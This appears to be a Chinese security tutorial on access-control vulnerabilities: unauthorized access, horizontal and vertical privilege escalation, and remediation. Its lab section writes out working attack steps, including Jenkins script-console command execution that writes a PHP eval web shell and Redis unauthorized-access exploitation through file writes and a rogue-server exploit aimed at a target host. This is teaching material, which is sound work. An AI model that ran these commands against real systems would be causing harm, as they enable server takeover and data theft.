逻辑漏洞——权限控制问题
普及權(quán)限控制的方法、常見非授權(quán)訪問漏洞以及水平越權(quán)與垂直越權(quán)的成因與利用方法、修復(fù)方法
權(quán)限控制
某個主體(subject)對某個客體(object)需要實(shí)施某種操作(operation),系統(tǒng)對這種操作的限制就是權(quán)限控制。
在一個安全的系統(tǒng)中,通過身份驗(yàn)證來確認(rèn)主體的身份。客體是一種資源,是主體發(fā)起請求的對象。主體所能做什么,就是權(quán)限,權(quán)限可以細(xì)分為不同的能力。例如:在Linux文件系統(tǒng)中,將權(quán)限分為讀、寫、執(zhí)行三種能力。
??? 權(quán)限控制一般分為兩個步驟,身份驗(yàn)證與授權(quán)。首先進(jìn)行的是身份驗(yàn)證的工作,用于驗(yàn)證用戶是誰,是否有資格登錄訪問系統(tǒng),解決【W(wǎng)hoaml】的問題;第二步進(jìn)行授權(quán),用來決定用戶能做什么,將系統(tǒng)不同的權(quán)限授予不同的賬戶,使其登錄系統(tǒng)后擁有不同的操作權(quán)限,【W(wǎng)hatcanldo】的問題解決。
形象的來說:假設(shè)系統(tǒng)是一個屋子,持有鑰匙的人可以開門進(jìn)入屋子。那么屋子就是通過鎖和鑰匙來進(jìn)行「身份驗(yàn)證」的,開門的過程對應(yīng)的就是登陸。開門之后,能訪問哪個屋子,什么事情能做,什么事情不能做,就是「授權(quán)】的管轄范圍了
權(quán)限控制方式
ACL策略:主體-規(guī)則-客體
Linux文件權(quán)限:讀、寫、執(zhí)行
RBAC:Web應(yīng)用系統(tǒng)常采用此模型
Web應(yīng)用權(quán)限:基于URL、基于方法、基于數(shù)據(jù)
權(quán)限控制方式
ACL
ACL,訪問控制列表。在ACL中,包含用戶(User)、資源(Resource)、資源操作(Operation)三個關(guān)鍵要素。每一項(xiàng)資源,都配有一個列表,記錄哪些用戶可以對這項(xiàng)資源執(zhí)行哪些操作。當(dāng)系統(tǒng)試圖訪問這項(xiàng)資源時,會檢查這個列表中是否有關(guān)于當(dāng)前用戶的操作權(quán)限。ACL是面向“資源”的訪問控制模型,機(jī)制是圍繞“資源”展開的。
ACL典型示例:在Linux中,主體是系統(tǒng)用戶,客體是被訪問的文件,一個文件所能執(zhí)行的操作分為讀(r)、寫(w)、執(zhí)行(x)。這三種操作同時對應(yīng)著三種主體:文件擁有者、文件擁有者所在的用戶組、其他用戶。主體-客體-操作這三種的對應(yīng)關(guān)系構(gòu)成了ACL控制訪問列表,當(dāng)用戶訪問文件時,能否成功將由ACL決定。
RBAC
名詞術(shù)語
用戶(user):人、機(jī)器、網(wǎng)絡(luò)等,進(jìn)行資源或服務(wù)訪問的實(shí)施主體
角色(role):一個工作職能,被授予角色的用戶將具有相應(yīng)的權(quán)威和責(zé)任
會話(session):從用戶到其激活的角色集合的一個映射
權(quán)限(permission):對受RBAC保護(hù)的一個或多個對象執(zhí)行某個操作的許可
操作(operation):一個程序可執(zhí)行的映像,被調(diào)用時為用戶執(zhí)行某些功能
客體(object):需要進(jìn)行訪問控制的系統(tǒng)資源,例如:文件、打印機(jī)、數(shù)據(jù)庫記錄等
RBAC
RBAC,基于角色的訪問控制。RBAC認(rèn)為授權(quán)實(shí)際就是Who,what,How三者之
間的關(guān)系,即Who對What進(jìn)行How的操作。
Who:權(quán)限的擁用者或主體(如User、Group、Role等等)
What:權(quán)限針對的對象或資源
How:具體的權(quán)限
關(guān)于權(quán)限控制,一般有以下問題:
未授權(quán)訪問
?? 當(dāng)信息系統(tǒng)的安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁面存在缺陷時,有可能出現(xiàn)未授權(quán)訪問,導(dǎo)致用戶可以訪問信息系統(tǒng),進(jìn)而操作重要權(quán)限、操作數(shù)據(jù)庫、讀取網(wǎng)站目錄等敏感信息。
?? 目前存在未授權(quán)訪問漏洞主要存在Web應(yīng)用權(quán)限中。正常情況下,管理后臺的頁面應(yīng)該只有管理員才能夠訪問,而且搜索引擎的爬蟲也不應(yīng)該搜索到這些頁面,但這些系統(tǒng)未對用戶訪問權(quán)限進(jìn)行控制,導(dǎo)致任意用戶只要構(gòu)造出了正確URL就能夠訪問這些頁面或者用爬蟲爬到頁面目錄
?? 對于Web應(yīng)用程序,未授權(quán)訪問常發(fā)生于空口令登錄及后臺管理頁面的訪問。空口令多是因?yàn)榕渲脝栴},允許不輸入用戶名密碼登錄,修改配置可避免。后臺管理頁面應(yīng)該只有管理員才能訪問,正常情況下是不應(yīng)該被前臺訪問到的,搜索引擎與爬蟲也不應(yīng)搜索到后臺頁面,由于系統(tǒng)未對用戶訪問權(quán)限做控制,可能被攻擊者用工具或手動嘗試出來。
?? 對于數(shù)據(jù)庫或一些服務(wù)組件,未授權(quán)訪問可能由于一些版本中出現(xiàn)的漏洞,導(dǎo)致攻擊者能讀取數(shù)據(jù)庫信息,讀取系統(tǒng)的文件,甚至利用服務(wù)寫文件至主機(jī)上。
目前主要存在未授權(quán)訪問漏洞的服務(wù)有:
samba服務(wù)、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ElasticSearch、Memcache、docker等
測試方法
Google-Hacking
域名爆破
端口服務(wù)掃描
域名關(guān)聯(lián)
案例:阿里云某未授權(quán)訪問可查看業(yè)務(wù)記錄
案例:Jenkins未授權(quán)訪問
? Jenkins是一個開源軟件項(xiàng)目,是基于Java開發(fā)的一種持續(xù)集成工具,它能把軟件開發(fā)過程形成工作流。默認(rèn)情況下Jenkins面板中用戶可以選擇執(zhí)行腳本界面來操作一些系統(tǒng)層命令,攻擊者可通過未授權(quán)訪問漏洞或者暴力破解用戶密碼等進(jìn)入后臺管理服務(wù),通過腳本執(zhí)行界面從而獲取服務(wù)器權(quán)限。
案例:Jenkins未授權(quán)訪問
假如網(wǎng)站路徑:/var/www/html(需要具備一定的權(quán)限)
利用“腳本命令行”寫webshell,點(diǎn)擊運(yùn)行沒有報錯,寫入成功
Jenkins未授權(quán)訪問修復(fù)方法
升級版本
禁止把Jenkins直接暴露在公網(wǎng)
恢復(fù)安全設(shè)置(老版本默認(rèn)開啟“任何用戶可以做任何事”),設(shè)置強(qiáng)口令密碼
案例:Redis未授權(quán)訪問
掃描/連接默認(rèn)的6379端口
利用方式
直接讀取數(shù)據(jù)庫中的數(shù)據(jù)
向Web目錄中寫shell:需要猜到Web目錄地址
寫ssh-keygen公鑰然后使用私鑰登陸
利用crontab反彈shell
Redis未授權(quán)訪問防御方法
可以配置redis.conf文件,在redis安裝目錄下
默認(rèn)只對本地開放bind127.0.0.1
添加登陸密碼:修改redis.conf文件,添加requirepass password
在需要對外開放的時候修改默認(rèn)端口(端口不重復(fù)就行)port2333
配合iptables限制開放
降權(quán):以低權(quán)限運(yùn)行Redis服務(wù)(重啟redis才能生效)
禁止使用root權(quán)限啟動redis服務(wù)
防御解決方案
隱藏:只能阻止用戶無法猜測到后臺界面,爆破工具可以掃描大量后臺地址
頁面權(quán)限控制:可以阻擋非認(rèn)證用戶登錄后臺,即使找到后臺鏈接,也會被認(rèn)證窗口阻擋
越權(quán)訪問
? 越權(quán)訪問是Web應(yīng)用程序中一種常見的邏輯漏洞,由于其存在范圍廣、危害大,被OWASP列為Web應(yīng)用十大安全隱患的第二名。
? 由于服務(wù)器端對客戶提出的數(shù)據(jù)操作請求過分信任,忽略了對該用戶操作權(quán)限的判定,導(dǎo)致修改相關(guān)參數(shù)就可以擁有了其他賬戶的增、刪、查、改功能,從而導(dǎo)致越權(quán)漏洞。
越權(quán)分類
根據(jù)數(shù)據(jù)庫的操作進(jìn)行分類,可以分為:
越權(quán)查詢
越權(quán)刪除
越權(quán)修改
越權(quán)添加
越權(quán)分類
根據(jù)維度進(jìn)行分類,可以分為:
平行越權(quán)(權(quán)限類型不變,權(quán)限ID改變)
lucy的信息是通過username參數(shù)以get請求方式提交的,我們試試可不可以修改username參數(shù)查看其他人信息
攻擊者嘗試訪問與其具有相同級別的用戶資源
垂直越權(quán)(權(quán)限ID不變,權(quán)限類型改變)
抓取超級管理員修改賬戶信息的數(shù)據(jù)包,然后退出超級管理員身份的登錄,切換到普通管理員的身份,然后用普通管理員的身份將該數(shù)據(jù)包進(jìn)行重放,查看是否操作成功
抓到 管理創(chuàng)建
?pikachu登陸修改為以下URL
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php發(fā)現(xiàn)pikachu 也可以創(chuàng)建用戶低級別攻擊者嘗試訪問高級別用戶的資源
交叉越權(quán)(權(quán)限類型改變,權(quán)限ID也改變
交叉越權(quán)是垂直越權(quán)和水平越權(quán)的交集(既有平行越權(quán)概念,也有垂直越權(quán)
概念)
?RBAC(基于角色的訪問控制)權(quán)限管理模型
? RBAC權(quán)限管理模型是在新系統(tǒng)常用的一種用戶權(quán)限管理方式,傳統(tǒng)的權(quán)限模型中直接把權(quán)限賦予用戶,而RBAC中增加了“角色”的概念,首先把權(quán)限賦予角色,在根據(jù)用戶的不同需求把角色賦予用戶。目前很多網(wǎng)站系統(tǒng)會采用RBAC權(quán)限管理方式,給不同用戶分配不同的角色進(jìn)而授予權(quán)限,角色如普通用戶、審計(jì)員、管理員、超級管理員等。
水平越權(quán)原理
? 水平越權(quán)原理為用戶A與用戶B都屬于同一個角色X,但用戶A與用戶B都各自擁有一些私有數(shù)據(jù),正常情況下,只有用戶自己才能訪問自己的私有數(shù)據(jù),但在RBAC模型下系統(tǒng)只會驗(yàn)證用A是否屬于角色×,而不會判斷用戶A能否訪問只屬于用戶B的數(shù)據(jù)DataB,這樣就會發(fā)生水平越權(quán)訪問。
水平越權(quán)也可以把其稱作訪問控制攻擊漏洞。Web應(yīng)用程序在接收到用戶的請求時進(jìn)行增、刪、改、查某條數(shù)據(jù)的時候,沒有判斷數(shù)據(jù)所對應(yīng)的用戶,或者在判斷數(shù)據(jù)的用戶時,是通過從用戶表單參數(shù)中獲取userid來實(shí)現(xiàn)的,這樣就可以修改userid來實(shí)現(xiàn)水平越權(quán)。
水平越權(quán)案例:WooYun-2015-152381
瀏覽抓包時候發(fā)現(xiàn)該系統(tǒng)存在越權(quán)漏洞,通過修改某個id來遍歷,可遍歷出大量賬號信息(登錄賬號),最少1500個賬號。
水平越權(quán)案例:Wooyun-2010-01576
通過變化URL中的id參數(shù)即可查看對應(yīng)id的個人姓名、地址等隱私信息。
垂直越權(quán)原理
垂直越權(quán)原理為高權(quán)限角色訪問低權(quán)限角色的資源往往是被允許的,低權(quán)限角色訪問高權(quán)限角色資源是被禁止的,如果低權(quán)限角色通過訪問URL、修改標(biāo)識、遍歷參數(shù)等方法獲得了更高權(quán)限角色的能力,這樣就發(fā)生了垂直越權(quán)訪問。
垂直越權(quán)是一種“基于URL的訪問控制”設(shè)計(jì)缺陷引起的漏洞,又叫做權(quán)限提升攻擊,具體原因就是web應(yīng)用沒有做用戶權(quán)限控制,或者只是在菜單上做了權(quán)限控制,導(dǎo)致惡意用戶只要猜測到其他管理頁面的URL,就可以訪問或者控制其他角色擁有的數(shù)據(jù)或者頁面,達(dá)到權(quán)限提升的目的。
垂直越權(quán)案例
普通用戶訪問登錄頁面,http://ip/login/auth
此時訪問后臺頁面,http://ip/LecManager/view/list/4,發(fā)現(xiàn)能夠直接查看后臺數(shù)據(jù)
首先注冊賬號登錄,對其修改資料頁面進(jìn)行抓包,發(fā)現(xiàn)了三個可疑參數(shù)admin、userid和身份,其他的參數(shù)都是我們個人資料的參數(shù)
嘗試修改shenfen參數(shù),發(fā)現(xiàn)身份變成了管理人員,并且導(dǎo)航欄多出了后臺管理模塊
垂直越權(quán)案例:優(yōu)酷網(wǎng)
使用游客的身份登錄系統(tǒng),得到路徑:
http://project.youku.com/minisite/admin/module info.php?mid=1
修改參數(shù),訪問到管理員才能訪問的功能
修復(fù)方法總結(jié)
? 垂直越權(quán)
????? 設(shè)置合適的會話管理機(jī)制,在每個涉及到高權(quán)限操作的頁面進(jìn)行會話驗(yàn)證
? 水平越權(quán)
????? 設(shè)置合理的會話管理機(jī)制,將有關(guān)用戶的標(biāo)識存在服務(wù)器上
????? 涉及到關(guān)于用戶隱私的操作時從session中取出用戶標(biāo)識(如id)進(jìn)行操作
????? 不要輕信用戶的每個輸入越權(quán)
未授權(quán)訪問:
點(diǎn)擊“腳本命令執(zhí)行”,訪問http://IP:8080/script頁面,可以看到網(wǎng)頁集成了在線執(zhí)行腳本命令的功能。
執(zhí)行java命令printIn "Is".execute().text,調(diào)用函數(shù)執(zhí)行系統(tǒng)命令,可以看到回顯了當(dāng)前目錄下的文件信息,該漏洞屬于未授權(quán)訪問,同時也屬于命令執(zhí)行漏洞。?
利用“腳本命令行”寫webshell,點(diǎn)擊運(yùn)行沒有報錯,寫入成功。(有的目錄需要具備一定的權(quán)限才能寫入)。
試試
new File ("/tmp/shell.php").write('<?php phpinfo();?>');
再寫入一句話木馬: new File(" /tmp/shell2.php").write('<?php @eval($_POST[cmd]);?>');
?寫入成功
?
vulhub:
redis_cli解壓kali
并連接可執(zhí)行info命令查看redis服務(wù)器相關(guān)信息
進(jìn)入到cd redis-2.8.12
?cd src
./redis-cli -h 靶機(jī)IP
靶機(jī)
cd? vulhub-master/redis/4-unacc/
docker-compose up -d
info?—?查看redis信息和服務(wù)器信息
flushall?—?刪除所有數(shù)據(jù)??????
del?key?—?刪除鍵為key的數(shù)據(jù)
get?key?—?獲得參數(shù)key的數(shù)據(jù)
config?—?配置server ?????
?或使用現(xiàn)有exp實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行
git?clone?https://github.com/vulhub/redis-rogue-getshell.git????//克隆exp項(xiàng)目文檔(此步驟需要掛代理shadowsocks)
2.cd?redis-rogue-getshell/RedisModulesSDK/exp???????????//進(jìn)入該目錄
3.make?//在當(dāng)前目錄下生成一個exp.so文件??????????????????????//編譯生成exp
./redis-master.py?-r?192.168.111.137?-p?6379?-L?192.168.111.139?-P?1111?-f?RedisModulesSDK/exp/exp.so?-c?"cat/etc/passwd"??//第一個ip是靶機(jī),第二個ip是攻擊機(jī)
我喜歡寫入webshell
?1.config?set?dir?/var/tmp????//指定工作目錄
2.config?set?dbfilename?tyc.php???//設(shè)置數(shù)據(jù)庫文件名
3.set?trojan?"<?php?phpinfo();?>"????//追加寫入tyc.php文件內(nèi)容
4.save????
?
?
?
總結(jié)
以上是生活随笔為你收集整理的逻辑漏洞——权限控制问题的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 逻辑漏洞——会话管理问题
- 下一篇: 逻辑漏洞——业务逻辑问题